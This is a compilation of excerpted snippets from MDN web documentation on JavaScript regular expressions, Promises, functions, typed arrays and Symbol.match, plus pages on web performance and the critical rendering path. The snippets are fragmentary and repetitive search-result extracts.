start the next match. (this property is set only if the regular expression uses the g option, described in advanced searching with flags.) 5 source the text of the pattern. updated at the time that the regular expression is created, not executed. 'd(b+)d' as shown in the second form of this example, you can use a regular expression created with an object initializer without ass...
... regexp.prototype.global i case-insensitive search. regexp.prototype.ignorecase m multi-line search. regexp.prototype.multiline s allows . to match newline characters. regexp.prototype.dotall u "unicode"; treat a pattern as a sequence of unicode code points. regexp.prototype.unicode y perform a "sticky" search that matches
starting at the current position in the target string. see sticky. regexp.prototype.sticky to include a flag with the regular expression, use this syntax: var re = /pattern/flags; or var re = new regexp('pattern', 'flags'); note that the flags are an integral part of a regular expression. they cannot be added or removed later. for example, re = /\w+\s/g creates a regular expression tha...
... .exec() method to get iterative progression. var xarray; while(xarray = re.exec(str)) console.log(xarray); // produces: // ["fee ", index: 0, input: "fee fi fo fum"] // ["fi ", index: 4, input: "fee fi fo fum"] // ["fo ", index: 7, input: "fee fi fo fum"] the m flag is used to specify that a multiline input string should be treated as multiple lines. if the m flag is used, ^ and $ match at the
start or end of any line within the input string instead of the
start or end of the entire string. examples note: several examples are also available in: the reference pages for exec(), test(), match(), matchall(), search(), replace(), split() this guide articles': character classes, assertions, groups and ranges, quantifiers, unicode property escapes using special characters to verify input ...
Using Promises - JavaScript
even after the success or failure of the asynchronous operation. multiple callbacks may be added by calling then() several times. each callback is executed one after another, in the order in which they were inserted. one of the great things about using promises is chaining. chaining a common need is to execute two or more asynchronous operations back to back, where each subsequent operation
starts when the previous operation succeeds, with the result from the previous step. we accomplish this by creating a promise chain. here's the magic: the then() function returns a new promise, different from the original: const promise = dosomething(); const promise2 = promise.then(successcallback, failurecallback); or const promise2 = dosomething().then(successcallback, failurecallback); this ...
...'s common that modules you include in your project may have unhandled rejected promises. these get logged to the console by the node runtime. you can capture these for analysis and handling by your code—or just to avoid having them cluttering up your output—by adding a handler for the unhandledrejection event, like this: window.addeventlistener("unhandledrejection", event => { /* you might
start here by adding code to examine the promise specified by event.promise and the reason in event.reason */ event.preventdefault(); }, false); by calling the event's preventdefault() method, you tell the javascript runtime not to do its default action when rejected promises go unhandled. that default action usually involves logging the error to console, and this is indeed the case for ...
...us resolve or reject a promise manually. since settimeout() doesn't really fail, we left out reject in this case. composition promise.resolve() and promise.reject() are shortcuts to manually create an already resolved or rejected promise respectively. this can be useful at times. promise.all() and promise.race() are two composition tools for running asynchronous operations in parallel. ...
Warning: String.x is deprecated; use String.prototype.x instead - JavaScript
the javascript warning about string generics occurs in firefox versions prior to 68. string generics have been removed
starting with firefox 68. message warning: string.charat is deprecated; use string.prototype.charat instead warning: string.charcodeat is deprecated; use string.prototype.charcodeat instead warning: string.concat is deprecated; use string.prototype.concat instead warning: string.contains is deprecated; use string.prototype.contains instead warning: string.endswith is deprecated; use string.prototype.endswith instead warning: string.includes is deprecated; use string.prototype.includes instead warning: string.indexof is deprecated; use string.prototype.ind...
...warning: string.replace is deprecated; use string.prototype.replace instead warning: string.search is deprecated; use string.prototype.search instead warning: string.slice is deprecated; use string.prototype.slice instead warning: string.split is deprecated; use string.prototype.split instead warning: string.
startswith is deprecated; use string.prototype.
startswith instead warning: string.substr is deprecated; use string.prototype.substr instead warning: string.substring is deprecated; use string.prototype.substring instead warning: string.tolocalelowercase is deprecated; use string.prototype.tolocalelowercase instead warning: string.tolocaleuppercase is ...
... we could also build the array of methods with the following, but the // getownpropertynames() method is non-shimable: // object.getownpropertynames(string).filter(function(methodname) { // return typeof string[methodname] === 'function'; // }); methods = [ 'contains', 'substring', 'tolowercase', 'touppercase', 'charat', 'charcodeat', 'indexof', 'lastindexof', '
startswith', 'endswith', 'trim', 'trimleft', 'trimright', 'tolocalelowercase', 'normalize', 'tolocaleuppercase', 'localecompare', 'match', 'search', 'slice', 'replace', 'split', 'substr', 'concat', 'localecompare' ], methodcount = methods.length, assignstringgeneric = function(methodname) { var method = string.prototype[methodname]; string[methodname] = functio...
Functions - JavaScript
sible to provide a name inside the definition in order to create a named function expression: var myfunction = function namedfunction(){ statements } one of the benefits of creating a named function expression is that in case we encountered an error, the stack trace will contain the name of the function, making it easier to find the origin of the error. as we can see, both examples do not
start with the function keyword. statements involving functions which do not
start with function are function expressions. when functions are used only once, a common pattern is an iife (immediately invoked function expression). (function() { statements })(); iife are function expressions that are invoked as soon as the function is declared. the generator function declaration (function* stateme...
...d built-in object or user-defined object that supports the addition of new properties. the syntax for defining getters and setters uses the object literal syntax. get binds an object property to a function that will be called when that property is looked up. set binds an object property to a function to be called when there is an attempt to set that property. method definition syntax
starting with ecmascript 2015, you are able to define own methods in a shorter syntax, similar to the getters and setters. see method definitions for more information. var obj = { foo() {}, bar() {} }; constructor vs. declaration vs. expression compare the following: a function defined with the function constructor assigned to the variable multiply: var multiply = new function('x', 'y', 'retur...
...prior to es2015, block-level functions were forbidden in strict mode. 'use strict'; function f() { return 1; } { function f() { return 2; } } f() === 1; // true // f() === 2 in non-strict mode block-level functions in non-strict code in a word: don't. in non-strict code, function declarations inside blocks be...
Array.from() - JavaScript
e elements array.from([1, 2, 3], x => x + x); // [2, 4, 6] // generate a sequence of numbers // since the array is initialized with `undefined` on each position, // the value of `v` below will be `undefined` array.from({length: 5}, (v, i) => i); // [0, 1, 2, 3, 4] sequence generator (range) // sequence generator function (commonly referred to as "range", e.g. ...
..., 4, 6] // generate a sequence of numbers // since the array is initialized with `undefined` on each position, // the value of `v` below will be `undefined` array.from({length: 5}, (v, i) => i); // [0, 1, 2, 3, 4] sequence generator (range) // sequence generator function (commonly referred to as "range", e.g. ...
...ce of numbers // since the array is initialized with `undefined` on each position, // the value of `v` below will be `undefined` array.from({length: 5}, (v, i) => i); // [0, 1, 2, 3, 4] sequence generator (range) // sequence generator function (commonly referred to as "range", e.g. ...
BigInt64Array - JavaScript
ct. see also array.from(). bigint64array.of() creates a new bigint64array with a variable number of arguments. see also array.of(). instance properties bigint64array.prototype.buffer returns the arraybuffer referenced by the bigint64array. this is fixed at construction time and thus read only. bigint64array.prototype.bytelength returns the length (in bytes) of the bigint64array from the
start of its arraybuffer. this is fixed at construction time and thus read only. bigint64array.prototype.byteoffset returns the offset (in bytes) of the bigint64array from the
start of its arraybuffer. this is fixed at construction time and thus read only. bigint64array.prototype.length returns the number of elements hold in the bigint64array. this is fixed at construction time and thus read only. ...
...thin(). bigint64array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). bigint64array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). bigint64array.prototype.fill() fills all the elements of an array from a
start index to an end index with a static value. see also array.prototype.fill(). bigint64array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). bigint64array.prototype.find() returns the found value in the array if an element in the array satisfies the provided testing function, ...
...e also array.prototype.slice(). bigint64array.prototype.some() returns true if at least one element in this array satisfies the provided testing function. see also array.prototype.some(). bigint64array.prototype.sort() sorts the elements of an array in place and returns the array. see also array.prototype.sort(). bigint64array.prototype.subarray() returns a new biguint64array from the given
start and end element index. bigint64array.prototype.values() returns a new array iterator object that contains the values for each index in the array. see also array.prototype.values(). bigint64array.prototype.tolocalestring() returns a localized string representing the array and its elements. see also array.prototype.tolocalestring(). bigint64array.prototype.tostring() returns a string represen...
BigUint64Array - JavaScript
e also array.from(). biguint64array.of() creates a new biguint64array with a variable number of arguments. see also array.of(). instance properties biguint64array.prototype.buffer returns the arraybuffer referenced by the biguint64array. this is fixed at construction time and thus read only. biguint64array.prototype.bytelength returns the length (in bytes) of the biguint64array from the
start of its arraybuffer. this is fixed at construction time and thus read only. biguint64array.prototype.byteoffset returns the offset (in bytes) of the biguint64array from the
start of its arraybuffer. this is fixed at construction time and thus read only. biguint64array.prototype.length returns the number of elements hold in the biguint64array. this is fixed at construction time and thus read on...
...n(). biguint64array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). biguint64array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). biguint64array.prototype.fill() fills all the elements of an array from a
start index to an end index with a static value. see also array.prototype.fill(). biguint64array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). biguint64array.prototype.find() returns the found value in the array if an element in the array satisfies the provided testing function...
...lso array.prototype.slice(). biguint64array.prototype.some() returns true if at least one element in this array satisfies the provided testing function. see also array.prototype.some(). biguint64array.prototype.sort() sorts the elements of an array in place and returns the array. see also array.prototype.sort(). biguint64array.prototype.subarray() returns a new biguint64array from the given
start and end element index. biguint64array.prototype.values() returns a new array iterator object that contains the values for each index in the array. see also array.prototype.values(). biguint64array.prototype.tolocalestring() returns a localized string representing the array and its elements. see also array.prototype.tolocalestring(). biguint64array.prototype.tostring() returns a string repre...
Float32Array - JavaScript
r iterable object. see also array.from(). float32array.of() creates a new float32array with a variable number of arguments. see also array.of(). instance properties float32array.prototype.buffer returns the arraybuffer referenced by the float32array fixed at construction time and thus read only. float32array.prototype.bytelength returns the length (in bytes) of the float32array from the
start of its arraybuffer. fixed at construction time and thus read only. float32array.prototype.byteoffset returns the offset (in bytes) of the float32array from the
start of its arraybuffer. fixed at construction time and thus read only. float32array.prototype.length returns the number of elements hold in the float32array. fixed at construction time and thus read only. instance methods float3...
...ywithin(). float32array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). float32array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). float32array.prototype.fill() fills all the elements of an array from a
start index to an end index with a static value. see also array.prototype.fill(). float32array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). float32array.prototype.find() returns the found value in the array, if an element in the array satisfies the provided testing function or...
...y. see also array.prototype.slice(). float32array.prototype.some() returns true if at least one element in this array satisfies the provided testing function. see also array.prototype.some(). float32array.prototype.sort() sorts the elements of an array in place and returns the array. see also array.prototype.sort(). float32array.prototype.subarray() returns a new float32array from the given
start and end element index. float32array.prototype.values() returns a new array iterator object that contains the values for each index in the array. see also array.prototype.values(). float32array.prototype.tolocalestring() returns a localized string representing the array and its elements. see also array.prototype.tolocalestring(). float32array.prototype.tostring() returns a string representin...
Float64Array - JavaScript
r iterable object. see also array.from(). float64array.of() creates a new float64array with a variable number of arguments. see also array.of(). instance properties float64array.prototype.buffer returns the arraybuffer referenced by the float64array fixed at construction time and thus read only. float64array.prototype.bytelength returns the length (in bytes) of the float64array from the
start of its arraybuffer. fixed at construction time and thus read only. float64array.prototype.byteoffset returns the offset (in bytes) of the float64array from the
start of its arraybuffer. fixed at construction time and thus read only. float64array.prototype.length returns the number of elements hold in the float64array. fixed at construction time and thus read only. instance methods float6...
...ywithin(). float64array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). float64array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). float64array.prototype.fill() fills all the elements of an array from a
start index to an end index with a static value. see also array.prototype.fill(). float64array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). float64array.prototype.find() returns the found value in the array, if an element in the array satisfies the provided testing function or...
...y. see also array.prototype.slice(). float64array.prototype.some() returns true if at least one element in this array satisfies the provided testing function. see also array.prototype.some(). float64array.prototype.sort() sorts the elements of an array in place and returns the array. see also array.prototype.sort(). float64array.prototype.subarray() returns a new float64array from the given
start and end element index. float64array.prototype.values() returns a new array iterator object that contains the values for each index in the array. see also array.prototype.values(). float64array.prototype.tolocalestring() returns a localized string representing the array and its elements. see also array.prototype.tolocalestring(). float64array.prototype.tostring() returns a string representin...
Int16Array - JavaScript
array-like or iterable object. see also array.from(). int16array.of() creates a new int16array with a variable number of arguments. see also array.of(). instance properties int16array.prototype.buffer returns the arraybuffer referenced by the int16array fixed at construction time and thus read only. int16array.prototype.bytelength returns the length (in bytes) of the int16array from the
start of its arraybuffer. fixed at construction time and thus read only. int16array.prototype.byteoffset returns the offset (in bytes) of the int16array from the
start of its arraybuffer. fixed at construction time and thus read only. int16array.prototype.length returns the number of elements hold in the int16array. fixed at construction time and thus read only. instance methods int16array.pro...
...pe.copywithin(). int16array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). int16array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). int16array.prototype.fill() fills all the elements of an array from a
start index to an end index with a static value. see also array.prototype.fill(). int16array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). int16array.prototype.find() returns the found value in the array, if an element in the array satisfies the provided testing function or und...
...new array. see also array.prototype.slice(). int16array.prototype.some() returns true if at least one element in this array satisfies the provided testing function. see also array.prototype.some(). int16array.prototype.sort() sorts the elements of an array in place and returns the array. see also array.prototype.sort(). int16array.prototype.subarray() returns a new int16array from the given
start and end element index. int16array.prototype.values() returns a new array iterator object that contains the values for each index in the array. see also array.prototype.values(). int16array.prototype.tolocalestring() returns a localized string representing the array and its elements. see also array.prototype.tolocalestring(). int16array.prototype.tostring() returns a string representing the ...
Int32Array - JavaScript
array-like or iterable object. see also array.from(). int32array.of() creates a new int32array with a variable number of arguments. see also array.of(). instance properties int32array.prototype.buffer returns the arraybuffer referenced by the int32array fixed at construction time and thus read only. int32array.prototype.bytelength returns the length (in bytes) of the int32array from the
start of its arraybuffer. fixed at construction time and thus read only. int32array.prototype.byteoffset returns the offset (in bytes) of the int32array from the
start of its arraybuffer. fixed at construction time and thus read only. int32array.prototype.length returns the number of elements hold in the int32array. fixed at construction time and thus read only. instance methods int32array.pro...
...pe.copywithin(). int32array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). int32array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). int32array.prototype.fill() fills all the elements of an array from a
start index to an end index with a static value. see also array.prototype.fill(). int32array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). int32array.prototype.find() returns the found value in the array, if an element in the array satisfies the provided testing function or und...
...new array. see also array.prototype.slice(). int32array.prototype.some() returns true if at least one element in this array satisfies the provided testing function. see also array.prototype.some(). int32array.prototype.sort() sorts the elements of an array in place and returns the array. see also array.prototype.sort(). int32array.prototype.subarray() returns a new int32array from the given
start and end element index. int32array.prototype.values() returns a new array iterator object that contains the values for each index in the array. see also array.prototype.values(). int32array.prototype.tolocalestring() returns a localized string representing the array and its elements. see also array.prototype.tolocalestring(). int32array.prototype.tostring() returns a string representing the ...
Int8Array - JavaScript
om an array-like or iterable object. see also array.from(). int8array.of() creates a new int8array with a variable number of arguments. see also array.of(). instance properties int8array.prototype.buffer returns the arraybuffer referenced by the int8array fixed at construction time and thus read only. int8array.prototype.bytelength returns the length (in bytes) of the int8array from the
start of its arraybuffer. fixed at construction time and thus read only. int8array.prototype.byteoffset returns the offset (in bytes) of the int8array from the
start of its arraybuffer. fixed at construction time and thus read only. int8array.prototype.length returns the number of elements hold in the int8array. fixed at construction time and thus read only. instance methods int8array.prototyp...
...otype.copywithin(). int8array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). int8array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). int8array.prototype.fill() fills all the elements of an array from a
start index to an end index with a static value. see also array.prototype.fill(). int8array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). int8array.prototype.find() returns the found value in the array, if an element in the array satisfies the provided testing function or undef...
...s a new array. see also array.prototype.slice(). int8array.prototype.some() returns true if at least one element in this array satisfies the provided testing function. see also array.prototype.some(). int8array.prototype.sort() sorts the elements of an array in place and returns the array. see also array.prototype.sort(). int8array.prototype.subarray() returns a new int8array from the given
start and end element index. int8array.prototype.values() returns a new array iterator object that contains the values for each index in the array. see also array.prototype.values(). int8array.prototype.tolocalestring() returns a localized string representing the array and its elements. see also array.prototype.tolocalestring(). int8array.prototype.tostring() returns a string representing the arr...
RegExp.prototype.exec() - JavaScript
g matches, if any. the number of possible parenthesized substrings is unlimited. result[1] === "brown" result[2] === "jumps" index the 0-based index of the match in the string. 4 input the original string that was matched against. "the quick brown fox jumps over the lazy dog" re lastindex the index at which to
start the next match. if g is absent, this will always be 0. 25 ignorecase indicates if the i flag was used to ignore case. true global indicates if the g flag was used for a global match. true multiline indicates if the m flag was used to search across multiple lines. false source the text of the pattern. "quick\s(brown).+...
...bal match. true multiline indicates if the m flag was used to search across multiple lines. false source the text of the pattern. "quick\s(brown).+?(jumps)" examples finding successive matches if your regular expression uses the "g" flag, you can use the exec() method multiple times to find successive matches in the same string. when you do so, the search
starts at the substring of str specified by the regular expression's lastindex property (test() will also advance the lastindex property). note that the lastindex property will not be reset when searching a different string, it will
start its search at its existing lastindex . for example, assume you have this script: let myre = /ab*/g; let str = 'abbcdefabh'; let myarray; while ((myarray = myre.exe...
...(test() will also advance the lastindex property). note that the lastindex property will not be reset when searching a different string, it will
start its search at its existing lastindex . for example, assume you have this script: let myre = /ab*/g; let str = 'abbcdefabh'; let myarray; while ((myarray = myre.exec(str)) !== null) { let msg = 'found ' + myarray[0] + '. '; msg += 'next match
starts at ' + myre.lastindex; console.log(msg); } this script displays the following text: found abb. next match
starts at 3 found ab. next match
starts at 9 warning: do not place the regular expression literal (or regexp constructor) within the while condition! it will create an infinite loop if there is a match, due to the lastindex property being reset upon each iteration. also, be sure t...
RegExp - JavaScript
gular expression won't be recompiled on each iteration. the constructor of the regular expression object—for example, new regexp('ab+c')—results in runtime compilation of the regular expression. use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and obtain it from another source, such as user input. flags in constructor
starting with ecmascript 6, new regexp(/ab+c/, 'i') no longer throws a typeerror ("can't supply flags when constructing one regexp from another") when the first argument is a regexp and the second flags argument is present. a new regexp from the arguments is created instead. when using the constructor function, the normal string escape rules (preceding special characters with \ when included in a stri...
... (perl-like) names. both names always refer to the same value. (perl is the programming language from which javascript modeled its regular expressions.). see also deprecated regexp properties. constructor regexp() creates a new regexp object. static properties get regexp[@@species] the constructor function that is used to create derived objects. regexp.lastindex the index at which to
start the next match. instance properties regexp.prototype.flags a string that contains the flags of the regexp object. regexp.prototype.dotall whether . matches newlines or not. regexp.prototype.global whether to test the regular expression against all possible matches in a string, or only against the first. regexp.prototype.ignorecase whether to ignore case while attempting a match in a s...
... of the patterns in the regular expression matters. using regular expression on multiple lines let s = 'please yes\nmake my day!' s.match(/yes.*day/); // returns null s.match(/yes[^]*day/); // returns ["yes\nmake my day"] using a regular expression with the sticky flag the sticky flag indicates that the regular expression performs sticky matching in the target string by attempting to match
starting at regexp.prototype.lastindex. let str = '#foo#' let regex = /foo/y regex.lastindex = 1 regex.test(str) // true regex.lastindex = 5 regex.test(str) // false (lastindex is taken into account with sticky flag) regex.lastindex // 0 (reset after match failure) the difference between the sticky flag and the global flag with the sticky flag y, the next match has to happen at the l...
String.prototype.anchor() - JavaScript
use dom apis instead. ...
...use dom apis instead. also, the html specification no longer allows the <a> element to have a name attribute, so this method doesn't even create valid markup. ...
...then an </a> end tag. don't use this method. use dom apis instead. also, the html specification no longer allows the <a> element to have a name attribute, so this method doesn't even create valid markup. syntax str.anchor(name) parameters name a string representing a name value to put into the generated <a name="...">
start tag. return value a string beginning with an <a name="name">
start tag, then the text str, and then an </a> end tag description don't use this method. use dom apis instead. also, the html specification no longer allows the <a> element to have a name attribute, so this method doesn't even create valid markup. examples using anchor() var mystring = 'table of contents'; document.body.innerhtml = mystring.anchor('contents_anchor'); will output the following ...
Symbol.match - JavaScript
rototype.match() method. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description this function is also used to identify if objects have the behavior of regular expressions. for example, the methods string.prototype.
startswith(), string.prototype.endswith() and string.prototype.includes(), check if their first argument is a regular expression and will throw a typeerror if they are. now, if the match symbol is set to false (or a falsy value), it indicates that the object is not intended to be used as a regular expression object. property attributes of symbol.match writable ...
... symbol is set to false (or a falsy value), it indicates that the object is not intended to be used as a regular expression object. ...
...rable no examples disabling the isregexp check the following code will throw a typeerror: '/bar/'.
startswith(/bar/); // throws typeerror, as /bar/ is a regular expression // and symbol.match is not modified. however, if you set symbol.match to false, the isregexp check (that uses the match property) will indicate that the object is not a regular expression object. the methods
startswith and endswith won't throw a typeerror as a consequence. var re = /foo/; re[symbol.match] = false; '/foo/'.
startswith(re); // true '/baz/'.endswith(re); // false specifications specification ecmascript (ecma-262)the definition of 'symbol.match' in that specification. ...
TypedArray.prototype.findIndex() - JavaScript
or (i in this) { if (evaluator.call(thisarg, this[i], i, this)) { return i; } } return -1; }; examples find the index of a prime number in a typed array the following example finds the index of an element in the typed array that is a prime number (or returns -1 if there is no prime number). ...
... if (evaluator.call(thisarg, this[i], i, this)) { return i; } } return -1; }; examples find the index of a prime number in a typed array the following example finds the index of an element in the typed array that is a prime number (or returns -1 if there is no prime number). ...
...this)) { return i; } } return -1; }; examples find the index of a prime number in a typed array the following example finds the index of an element in the typed array that is a prime number (or returns -1 if there is no prime number). ...
Uint16Array - JavaScript
like or iterable object. see also array.from(). uint16array.of() creates a new uint16array with a variable number of arguments. see also array.of(). instance properties uint16array.prototype.buffer returns the arraybuffer referenced by the uint16array fixed at construction time and thus read only. uint16array.prototype.bytelength returns the length (in bytes) of the uint16array from the
start of its arraybuffer. fixed at construction time and thus read only. uint16array.prototype.byteoffset returns the offset (in bytes) of the uint16array from the
start of its arraybuffer. fixed at construction time and thus read only. uint16array.prototype.length returns the number of elements hold in the uint16array. fixed at construction time and thus read only. instance methods uint16arra...
...copywithin(). uint16array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). uint16array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). uint16array.prototype.fill() fills all the elements of an array from a
start index to an end index with a static value. see also array.prototype.fill(). uint16array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). uint16array.prototype.find() returns the found value in the array, if an element in the array satisfies the provided testing function or u...
...array. see also array.prototype.slice(). uint16array.prototype.some() returns true if at least one element in this array satisfies the provided testing function. see also array.prototype.some(). uint16array.prototype.sort() sorts the elements of an array in place and returns the array. see also array.prototype.sort(). uint16array.prototype.subarray() returns a new uint16array from the given
start and end element index. uint16array.prototype.values() returns a new array iterator object that contains the values for each index in the array. see also array.prototype.values(). uint16array.prototype.tolocalestring() returns a localized string representing the array and its elements. see also array.prototype.tolocalestring(). uint16array.prototype.tostring() returns a string representing t...
Uint32Array - JavaScript
like or iterable object. see also array.from(). uint32array.of() creates a new uint32array with a variable number of arguments. see also array.of(). instance properties uint32array.prototype.buffer returns the arraybuffer referenced by the uint32array fixed at construction time and thus read only. uint32array.prototype.bytelength returns the length (in bytes) of the uint32array from the
start of its arraybuffer. fixed at construction time and thus read only. uint32array.prototype.byteoffset returns the offset (in bytes) of the uint32array from the
start of its arraybuffer. fixed at construction time and thus read only. uint32array.prototype.length returns the number of elements hold in the uint32array. fixed at construction time and thus read only. instance methods uint32arra...
...copywithin(). uint32array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). uint32array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). uint32array.prototype.fill() fills all the elements of an array from a
start index to an end index with a static value. see also array.prototype.fill(). uint32array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). uint32array.prototype.find() returns the found value in the array, if an element in the array satisfies the provided testing function or u...
...array. see also array.prototype.slice(). uint32array.prototype.some() returns true if at least one element in this array satisfies the provided testing function. see also array.prototype.some(). uint32array.prototype.sort() sorts the elements of an array in place and returns the array. see also array.prototype.sort(). uint32array.prototype.subarray() returns a new uint32array from the given
start and end element index. uint32array.prototype.values() returns a new array iterator object that contains the values for each index in the array. see also array.prototype.values(). uint32array.prototype.tolocalestring() returns a localized string representing the array and its elements. see also array.prototype.tolocalestring(). uint32array.prototype.tostring() returns a string representing t...
Uint8Array - JavaScript
ts. see also array.of(). instance properties uint8array.prototype.buffer returns the arraybuffer referenced by the uint8array fixed at construction time and thus read only. uint8array.prototype.bytelength returns the length (in bytes) of the uint8array. fixed at construction time and thus read only. uint8array.prototype.byteoffset returns the offset (in bytes) of the uint8array from the
start of its arraybuffer. fixed at construction time and thus read only. uint8array.prototype.length returns the number of elements held in the uint8array. fixed at construction time and thus read only. instance methods uint8array.prototype.copywithin() copies a sequence of array elements within the array. see also array.prototype.copywithin(). uint8array.prototype.entries() returns a new arr...
...pe.copywithin(). uint8array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). uint8array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). uint8array.prototype.fill() fills all the elements of an array from a
start index to an end index with a static value. see also array.prototype.fill(). uint8array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). uint8array.prototype.find() returns the found value in the array, if an element in the array satisfies the provided testing function or und...
...new array. see also array.prototype.slice(). uint8array.prototype.some() returns true if at least one element in this array satisfies the provided testing function. see also array.prototype.some(). uint8array.prototype.sort() sorts the elements of an array in place and returns the array. see also array.prototype.sort(). uint8array.prototype.subarray() returns a new uint8array from the given
start and end element index. uint8array.prototype.values() returns a new array iterator object that contains the values for each index in the array. see also array.prototype.values(). uint8array.prototype.tolocalestring() returns a localized string representing the array and its elements. see also array.prototype.tolocalestring(). uint8array.prototype.tostring() returns a string representing the ...
Uint8ClampedArray - JavaScript
ray.from(). uint8clampedarray.of() creates a new uint8clampedarray from a variable number of arguments. see also array.of(). instance properties uint8clampedarray.prototype.buffer returns the arraybuffer referenced by the uint8clampedarray fixed at construction time and thus read only. uint8clampedarray.prototype.bytelength returns the length (in bytes) of the uint8clampedarray from the
start of its arraybuffer. fixed at construction time and thus read only. uint8clampedarray.prototype.byteoffset returns the offset (in bytes) of the uint8clampedarray from the
start of its arraybuffer. fixed at construction time and thus read only. uint8clampedarray.prototype.length returns the number of elements hold in the uintclamped8array. fixed at construction time and thus read only. instan...
...t8clampedarray.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). uint8clampedarray.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). uint8clampedarray.prototype.fill() fills all the elements of an array from a
start index to an end index with a static value. see also array.prototype.fill(). uint8clampedarray.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). uint8clampedarray.prototype.find() returns the found value in the array, if an element in the array satisfies the provided testing f...
...ototype.slice(). uint8clampedarray.prototype.some() returns true if at least one element in this array satisfies the provided testing function. see also array.prototype.some(). uint8clampedarray.prototype.sort() sorts the elements of an array in place and returns the array. see also array.prototype.sort(). uint8clampedarray.prototype.subarray() returns a new uint8clampedarray from the given
start and end element index. uint8clampedarray.prototype.values() returns a new array iterator object that contains the values for each index in the array. see also array.prototype.values(). uint8clampedarray.prototype.tolocalestring() returns a localized string representing the array and its elements. see also array.prototype.tolocalestring(). uint8clampedarray.prototype.tostring() returns a str...
Animation performance and frame rate - Web Performance
the intention of this scenario isn't to convince you that animating using margin is always a bad idea. it's to demonstrate how the tools can give you insight into the work the browser is doing to render your site, and how you can apply that insight to diagnose and fix performance problems. if you want to play along, the demo website is here. ...
...you'll only need to record a few seconds. open up the first recording. exactly what you'll see depends a lot on your machine and system load, but it will be something like this: this is showing three distinct views: (a) an overview of the waterfall, (b) the frame rate, and (c) the timeline details. ...
..."use transform", and make a new recording. it will look something like this: waterfall overview compared with the version that uses margin, we're seeing a lot less green and a lot more pink, which could be either layout or style recalculation. frame rate compared with the version that uses margin, this is looking pretty good. we're averaging nearly 60fps, and apart from one dip near the
start, we're getting a consistently high frame rate. waterfall the timeline view shows the reason for the improved frame rate. compared with the version that uses margin, we're not spending any time time in layout or (more importantly in this case) in paint: in this case, using transform significantly improved the site's performance, and the performance tools were able to show how and why it did. ...
Critical rendering path - Web Performance
t render. understanding and optimizing the critical rendering path is important to ensure reflows and repaints can happen at 60 frames per second, to ensure performant user interactions and avoid jank. understanding crp web performance includes the server requests and responses, loading, scripting, rendering, layout, and the painting of the pixels to the screen. a request for a web page or app
starts with an html request. the server returns the html - response headers and data. the browser then begins parsing the html, converting the received bytes to the dom tree. the browser initiates requests every time it finds links to external resources, be they stylesheets, scripts, or embedded image references. some requests are blocking, which means the parsing of the rest of the html is halted unti...
... tree, computing the styles for all the visible content. after the render tree is complete, layout occurs, defining the location and size of all the render tree elements. once complete, the page is rendered, or 'painted' on the screen. document object model dom construction is incremental. the html response turns into tokens which turns into nodes which turn into the dom tree. a single dom node
starts with a
starttag token and ends with an endtag token. nodes contain all relevant information about the html element. the information is described using tokens. nodes are connected into a dom tree based on token hierarchy. if another set of
starttag and endtag tokens come between a set of
starttag and endtags, you have a node inside a node, which is how we define the hierarchy of the dom tree. th...
... performance optimization, improvements will only be in microseconds. there are other ways to optimize css, such as minification, and separating defered css into non-blocking requests by using media queries. render tree the render tree captures both the content and the styles: the dom and cssom trees are combined into the render tree. to construct the render tree, the browser checks every node,
starting from root of the dom tree, and determine which css rules are attached. the render tree only captures visible content. the head section (generally) doesn't contain any visible information, and is therefore not included in the render tree. if there's a display: none; set on an element, neither it, nor any of its descendants, are in the render tree. layout once the render tree is built, layout...
Add to Home screen - Progressive web apps (PWAs)
the media type registration section of the specification, but generally browsers will support manifests with other appropriate extensions, e.g. .json. the fields needed for a2hs are as follows: background_color: specifies a background color to be used in some app contexts. the most relevant one to a2hs is the splash screen displayed when the app icon on the home screen is tapped and it first
